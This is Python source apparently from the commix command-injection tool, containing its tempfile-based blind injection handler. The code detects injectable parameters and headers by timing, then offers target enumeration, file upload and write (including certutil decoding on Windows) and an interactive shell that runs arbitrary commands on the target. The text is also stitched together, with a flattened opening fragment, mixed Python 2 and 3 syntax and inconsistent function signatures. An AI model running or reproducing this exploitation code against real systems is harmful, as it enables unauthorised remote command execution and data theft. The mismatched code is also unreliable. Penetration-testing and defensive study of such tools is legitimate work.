dest_to_upload = settings.TMP_PATH + file_name else: dest_to_upload = menu.options.file_dest # Check the file-destination if os.path.split(menu.options.file_dest)[1] == "" : dest_to_upload = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_upload)[1] elif os.path.split(menu.options.file_dest)[0] == "/": dest_to_upload = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_upload)[1] else: dest_to_upload = menu.options.file_dest OUTPUT_TEXTFILE = dest_to_upload # Execute command cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = output try: file_contents = "".join(str(p) for p in shell) except TypeError: pass print "" ## Check if file exists! cmd = "echo $(ls " + dest_to_upload + ")" check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) shell = output try: shell = "".join(str(p) for p in shell) except TypeError: pass
def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method, url_time_response):
counter = 1
num_of_chars = 1
vp_flag = True
no_result = True
is_encoded = False
possibly_vulnerable = False
false_positive_warning = False
export_injection_info = False
how_long = 0
injection_type = "semi-blind command injection"
technique = "tempfile-based injection technique"
if settings.TIME_RELATIVE_ATTACK == False:
warn_msg = "It is very important to not stress the network connection during usage of time-based payloads to prevent potential disruptions."
print(settings.print_warning_msg(warn_msg) + Style.RESET_ALL)
settings.TIME_RELATIVE_ATTACK = None
# Check if defined "--maxlen" option.
if menu.options.maxlen:
maxlen = settings.MAXLEN
# Check if defined "--url-reload" option.
if menu.options.url_reload == True:
err_msg = "The '--url-reload' option is not available in " + technique + "!"
print(settings.print_critical_msg(err_msg))
if not settings.LOAD_SESSION:
# Change TAG on every request to prevent false-positive resutls.
TAG = ''.join(random.choice(string.ascii_uppercase) for num_of_chars in range(6))
if settings.VERBOSITY_LEVEL != 0:
info_msg ="Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + ". "
print(settings.print_info_msg(info_msg))
#whitespace = checks.check_whitespaces()
# Calculate all possible combinations
total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES)
for whitespace in settings.WHITESPACES:
for prefix in settings.PREFIXES:
for suffix in settings.SUFFIXES:
for separator in settings.SEPARATORS:
# Check injection state
settings.DETECTION_PHASE = True
settings.EXPLOITATION_PHASE = False
# If a previous session is available.
how_long_statistic = []
if settings.LOAD_SESSION:
try:
settings.TEMPFILE_BASED_STATE = True
cmd = shell = ""
url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method)
checks.check_for_stored_tamper(payload)
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
except TypeError:
err_msg = "An error occurred while accessing session file ('"
err_msg += settings.SESSION_FILE + "'). "
err_msg += "Use the '--flush-session' option."
print(settings.print_critical_msg(err_msg))
raise SystemExit()
else:
num_of_chars = num_of_chars + 1
# Check for bad combination of prefix and separator
combination = prefix + separator
if combination in settings.JUNK_COMBINATION:
prefix = ""
# The output file for file-based injection technique.
OUTPUT_TEXTFILE = tmp_path + TAG + ".txt"
alter_shell = menu.options.alter_shell
tag_length = len(TAG) + 4
for output_length in range(1, int(tag_length)):
try:
# Tempfile-based decision payload (check if host is vulnerable).
if alter_shell :
payload = tfb_payloads.decision_alter_shell(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
else:
payload = tfb_payloads.decision(separator, output_length, TAG, OUTPUT_TEXTFILE, timesec, http_request_method)
# Fix prefixes / suffixes
payload = parameters.prefixes(payload, prefix)
payload = parameters.suffixes(payload, suffix)
# Whitespace fixation
payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace)
# Perform payload modification
payload = checks.perform_payload_modification(payload)
# Check if defined "--verbose" option.
if settings.VERBOSITY_LEVEL == 1:
payload_msg = payload.replace("\n", "\\n")
print(settings.print_payload(payload_msg))
elif settings.VERBOSITY_LEVEL >= 2:
debug_msg = "Generating payload for the injection."
print(settings.print_debug_msg(debug_msg))
print(settings.print_payload(payload))
# Cookie header injection
if settings.COOKIE_INJECTION == True:
# Check if target host is vulnerable to cookie header injection.
vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
how_long = tfb_injector.cookie_injection_test(url, vuln_parameter, payload)
# User-Agent HTTP header injection
elif settings.USER_AGENT_INJECTION == True:
# Check if target host is vulnerable to user-agent HTTP header injection.
vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
how_long = tfb_injector.user_agent_injection_test(url, vuln_parameter, payload)
# Referer HTTP header injection
elif settings.REFERER_INJECTION == True:
# Check if target host is vulnerable to referer HTTP header injection.
vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
how_long = tfb_injector.referer_injection_test(url, vuln_parameter, payload)
# Host HTTP header injection
elif settings.HOST_INJECTION == True:
# Check if target host is vulnerable to host HTTP header injection.
vuln_parameter = parameters.specify_host_parameter(menu.options.host)
how_long = tfb_injector.host_injection_test(url, vuln_parameter, payload)
# Custom HTTP header injection
elif settings.CUSTOM_HEADER_INJECTION == True:
# Check if target host is vulnerable to custom HTTP header injection.
vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG)
how_long = tfb_injector.custom_header_injection_test(url, vuln_parameter, payload)
else:
# Check if target host is vulnerable.
how_long, vuln_parameter = tfb_injector.injection_test(payload, http_request_method, url)
# Statistical analysis in time responses.
how_long_statistic.append(how_long)
# Injection percentage calculation
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if percent == 100 and no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
else:
percent = ""
else:
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
# Time relative false positive fixation.
false_positive_fixation = False
if len(TAG) == output_length:
# Simple statical analysis
statistical_anomaly = True
if len(set(how_long_statistic[0:5])) == 1:
if max(xrange(len(how_long_statistic)), key=lambda x: how_long_statistic[x]) == len(TAG) - 1:
statistical_anomaly = False
how_long_statistic = []
if timesec <= how_long and not statistical_anomaly:
false_positive_fixation = True
else:
false_positive_warning = True
# Identified false positive warning message.
if false_positive_warning:
warn_msg = "Unexpected time delays have been identified due to unstable "
warn_msg += "requests. This behavior may lead to false-positive results.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
while True:
if not menu.options.batch:
question_msg = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = _input(settings.print_question_msg(question_msg))
else:
proceed_option = ""
if len(proceed_option) == 0:
proceed_option = "c"
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
false_positive_fixation = False
raise
elif proceed_option.lower() == "c":
timesec = timesec + 1
false_positive_fixation = True
break
elif proceed_option.lower() == "q":
raise SystemExit()
else:
err_msg = "'" + proceed_option + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
# Check if false positive fixation is True.
if false_positive_fixation:
false_positive_fixation = False
settings.FOUND_HOW_LONG = how_long
settings.FOUND_DIFF = how_long - timesec
if false_positive_warning:
time.sleep(1)
randv1 = random.randrange(0, 4)
randv2 = random.randrange(1, 5)
randvcalc = randv1 + randv2
if settings.TARGET_OS == "win":
if alter_shell:
cmd = settings.WIN_PYTHON_INTERPRETER + " -c \"print (" + str(randv1) + " + " + str(randv2) + ")\""
else:
cmd = "powershell.exe -InputFormat none write (" + str(randv1) + " + " + str(randv2) + ")"
else:
cmd = "echo $((" + str(randv1) + " %2B " + str(randv2) + "))"
# Set the original delay time
original_how_long = how_long
# Check for false positive resutls
how_long, output = tfb_injector.false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, randvcalc, alter_shell, how_long, url_time_response)
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if str(output) == str(randvcalc) and len(TAG) == output_length:
possibly_vulnerable = True
how_long_statistic = 0
if settings.VERBOSITY_LEVEL == 0:
percent = settings.info_msg
else:
percent = ""
#break
else:
break
# False positive
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
else:
if settings.VERBOSITY_LEVEL == 0:
percent = ".. (" + str(float_percent) + "%)"
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
if settings.VERBOSITY_LEVEL == 0:
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
if 'cmd' in locals():
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except:
percent = ((num_of_chars * 100) / total)
float_percent = "{0:.1f}".format(round(((num_of_chars*100)/(total*1.0)),2))
if str(float_percent) == "100.0":
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
percent = settings.FAIL_STATUS
info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
else:
percent = ""
else:
percent = ".. (" + str(float_percent) + "%)"
print(settings.SINGLE_WHITESPACE)
# Print logs notification message
logs.logs_notification(filename)
#raise
else:
percent = ".. (" + str(float_percent) + "%)"
break
# Yaw, got shellz!
# Do some magic tricks!
if (url_time_response == 0 and (how_long - timesec) >= 0) or \
(url_time_response != 0 and (how_long - timesec) == 0 and (how_long == timesec)) or \
(url_time_response != 0 and (how_long - timesec) > 0 and (how_long >= timesec + 1)) :
if (len(TAG) == output_length) and \
(possibly_vulnerable == True or settings.LOAD_SESSION and int(is_vulnerable) == menu.options.level):
found = True
no_result = False
# Check injection state
settings.DETECTION_PHASE = False
settings.EXPLOITATION_PHASE = True
if settings.LOAD_SESSION:
if whitespace == "%20":
whitespace = " "
possibly_vulnerable = False
if settings.COOKIE_INJECTION == True:
header_name = " cookie"
found_vuln_parameter = vuln_parameter
the_type = " parameter"
elif settings.USER_AGENT_INJECTION == True:
header_name = " User-Agent"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.REFERER_INJECTION == True:
header_name = " Referer"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.HOST_INJECTION == True:
header_name = " Host"
found_vuln_parameter = ""
the_type = " HTTP header"
elif settings.CUSTOM_HEADER_INJECTION == True:
header_name = " " + settings.CUSTOM_HEADER_NAME
found_vuln_parameter = ""
the_type = " HTTP header"
else:
header_name = ""
the_type = " parameter"
if http_request_method != settings.HTTPMETHOD.POST:
found_vuln_parameter = parameters.vuln_GET_param(url)
else :
found_vuln_parameter = vuln_parameter
if len(found_vuln_parameter) != 0 :
found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"
# Print the findings to log file.
if export_injection_info == False:
export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
if vp_flag == True:
vp_flag = logs.add_parameter(vp_flag, filename, the_type, header_name, http_request_method, vuln_parameter, payload)
logs.update_payload(filename, counter, payload)
counter = counter + 1
if not settings.LOAD_SESSION:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
else:
checks.total_of_requests()
# Print the findings to terminal.
info_msg = "The"
if len(found_vuln_parameter) > 0 and not "cookie" in header_name :
info_msg += " " + http_request_method
info_msg += ('', ' (JSON)')[settings.IS_JSON] + ('', ' (SOAP/XML)')[settings.IS_XML] + the_type + header_name
info_msg += found_vuln_parameter + " seems injectable via "
info_msg += "(" + injection_type.split(" ")[0] + ") " + technique + "."
print(settings.print_bold_info_msg(info_msg))
sub_content = str(checks.url_decode(payload))
print(settings.print_sub_content(sub_content))
# Export session
if not settings.LOAD_SESSION:
shell = ""
session_handler.injection_point_importation(url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, original_how_long, output_length, is_vulnerable=menu.options.level)
#possibly_vulnerable = False
else:
settings.LOAD_SESSION = False
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
if settings.TARGET_OS == "win":
time.sleep(1)
new_line = False
# Check for any enumeration options.
if settings.ENUMERATION_DONE == True :
while True:
if not menu.options.batch:
question_msg = "Do you want to enumerate again? [Y/n] > "
enumerate_again = _input("\n" + settings.print_question_msg(question_msg)).lower()
else:
enumerate_again = ""
if len(enumerate_again) == 0:
enumerate_again = "Y"
if enumerate_again in settings.CHOICE_YES:
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
break
elif enumerate_again in settings.CHOICE_NO:
new_line = True
break
elif enumerate_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + enumerate_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
if menu.enumeration_options():
tfb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
print(settings.SINGLE_WHITESPACE)
# Check for any system file access options.
if settings.FILE_ACCESS_DONE == True :
print(settings.SINGLE_WHITESPACE)
while True:
if not menu.options.batch:
question_msg = "Do you want to access files again? [Y/n] > "
file_access_again = _input(settings.print_question_msg(question_msg))
else:
file_access_again = ""
if len(file_access_again) == 0:
file_access_again = "Y"
if file_access_again in settings.CHOICE_YES:
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
break
elif file_access_again in settings.CHOICE_NO:
if not new_line:
new_line = True
break
elif file_access_again in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + file_access_again + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
else:
# if not menu.enumeration_options() and not menu.options.os_cmd:
# print(settings.SINGLE_WHITESPACE)
tfb_file_access.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Check if defined single cmd.
if menu.options.os_cmd:
check_how_long, output = tfb_enumeration.single_os_cmd_exec(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
# Delete previous shell (text) files (output) from temp.
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
logs.print_logs_notification(filename, url)
raise SystemExit()
if settings.VERBOSITY_LEVEL != 0 or not new_line:
print(settings.SINGLE_WHITESPACE)
try:
# Pseudo-Terminal shell
go_back = False
go_back_again = False
while True:
if go_back == True:
break
if not menu.options.batch:
question_msg = "Do you want a Pseudo-Terminal shell? [Y/n] > "
gotshell = _input(settings.print_question_msg(question_msg))
else:
gotshell = ""
if len(gotshell) == 0:
gotshell = "Y"
if gotshell in settings.CHOICE_YES:
# if not menu.options.batch:
# print(settings.SINGLE_WHITESPACE)
print("Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)")
if settings.READLINE_ERROR:
checks.no_readline_module()
while True:
if false_positive_warning:
warn_msg = "Due to unexpected time delays, it is highly "
warn_msg += "recommended to enable the 'reverse_tcp' option.\n"
sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
false_positive_warning = False
if not settings.READLINE_ERROR:
checks.tab_autocompleter()
cmd = _input("""commix(""" + Style.BRIGHT + Fore.RED + """os_shell""" + Style.RESET_ALL + """) > """)
cmd = checks.escaped_cmd(cmd)
if cmd.lower() in settings.SHELL_OPTIONS:
go_back, go_back_again = shell_options.check_option(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, technique, go_back, no_result, timesec, go_back_again, payload, OUTPUT_TEXTFILE="")
if go_back and go_back_again == False:
break
if go_back and go_back_again:
return True
if menu.options.ignore_session or \
session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
# The main command injection exploitation.
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
# Export injection result
tfb_injector.export_injection_results(cmd, separator, output, check_how_long)
if not menu.options.ignore_session :
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
print("\n" + settings.print_output(output) + "\n")
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
if checks.next_attack_vector(technique, go_back) == True:
break
else:
if no_result == True:
return False
else:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
return True
elif gotshell in settings.CHOICE_QUIT:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise SystemExit()
else:
err_msg = "'" + gotshell + "' is not a valid answer."
print(settings.print_error_msg(err_msg))
pass
except KeyboardInterrupt:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except SystemExit:
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
except EOFError:
err_msg = "Exiting, due to EOFError."
print(settings.print_error_msg(err_msg))
# Delete previous shell (text) files (output) from temp.
delete_previous_shell(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
if no_result == True:
if settings.VERBOSITY_LEVEL == 0:
print(settings.SINGLE_WHITESPACE)
return False
else :
sys.stdout.write("\r")
sys.stdout.flush()
def file_write(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response):
file_to_write = menu.options.file_write
if not os.path.exists(file_to_write):
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that the '" + file_to_write + "' file, does not exists." + Style.RESET_ALL + "\n")
sys.stdout.flush()
sys.exit(0)
if os.path.isfile(file_to_write):
with open(file_to_write, 'r') as content_file:
content = [line.replace("\n", " ") for line in content_file]
content = "".join(str(p) for p in content).replace("'", "\"")
if settings.TARGET_OS == "win":
import base64
content = base64.b64encode(content)
else:
sys.stdout.write(Fore.YELLOW + settings.WARNING_SIGN + "It seems that '" + file_to_write + "' is not a file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
if os.path.split(menu.options.file_dest)[1] == "" :
dest_to_write = os.path.split(menu.options.file_dest)[0] + "/" + os.path.split(menu.options.file_write)[1]
elif os.path.split(menu.options.file_dest)[0] == "/":
dest_to_write = "/" + os.path.split(menu.options.file_dest)[1] + "/" + os.path.split(menu.options.file_write)[1]
else:
dest_to_write = menu.options.file_dest
# Execute command
if settings.TARGET_OS == "win":
from src.core.injections.results_based.techniques.classic import cb_injector
whitespace = settings.WHITESPACES[0]
dest_to_write = dest_to_write.replace("\\","/")
# Find path
path = os.path.dirname(dest_to_write)
path = path.replace("/","\\")
# Chnage directory
cmd = "cd " + path
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Find filename
filname = os.path.basename(dest_to_write)
tmp_filname = "tmp_" + filname
cmd = settings.FILE_WRITE + content + " > " + tmp_filname
if not menu.options.alter_shell :
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
# Decode base 64 encoding
cmd = "certutil -decode " + tmp_filname + " " + filname
if not menu.options.alter_shell :
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG)
# Delete tmp file
cmd = "del " + tmp_filname
if not menu.options.alter_shell :
cmd = "\"" + cmd + "\""
response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename)
cb_injector.injection_results(response, TAG)
# Check if file exists
cmd = "if exist " + filname + " (echo " + filname + ")"
if not menu.options.alter_shell :
cmd = "'" + cmd + "'"
dest_to_write = path + "\\" + filname
else:
cmd = settings.FILE_WRITE + "'" + content + "'" + " > " + "'" + dest_to_write + "'" + separator + settings.FILE_READ + dest_to_write
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
shell = "".join(str(p) for p in shell)
# Check if file exists
cmd = "echo $(ls " + dest_to_write + ")"
# Check if defined cookie injection.
if menu.options.verbose:
print ""
check_how_long, output = tfb_injector.injection(separator, maxlen, TAG, cmd, prefix, suffix, delay, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename, url_time_response)
shell = output
try:
shell = "".join(str(p) for p in shell)
except TypeError:
pass
if menu.options.verbose:
print ""
if shell:
sys.stdout.write(Style.BRIGHT + "\n\n (!) The '" + Style.UNDERLINE + shell + Style.RESET_ALL + Style.BRIGHT + "' file was created successfully!\n" + Style.RESET_ALL)
sys.stdout.flush()
else:
sys.stdout.write(Fore.YELLOW + "\n" + settings.WARNING_SIGN + "It seems that you don't have permissions to write the '" + dest_to_write + "' file." + Style.RESET_ALL + "\n")
sys.stdout.flush()
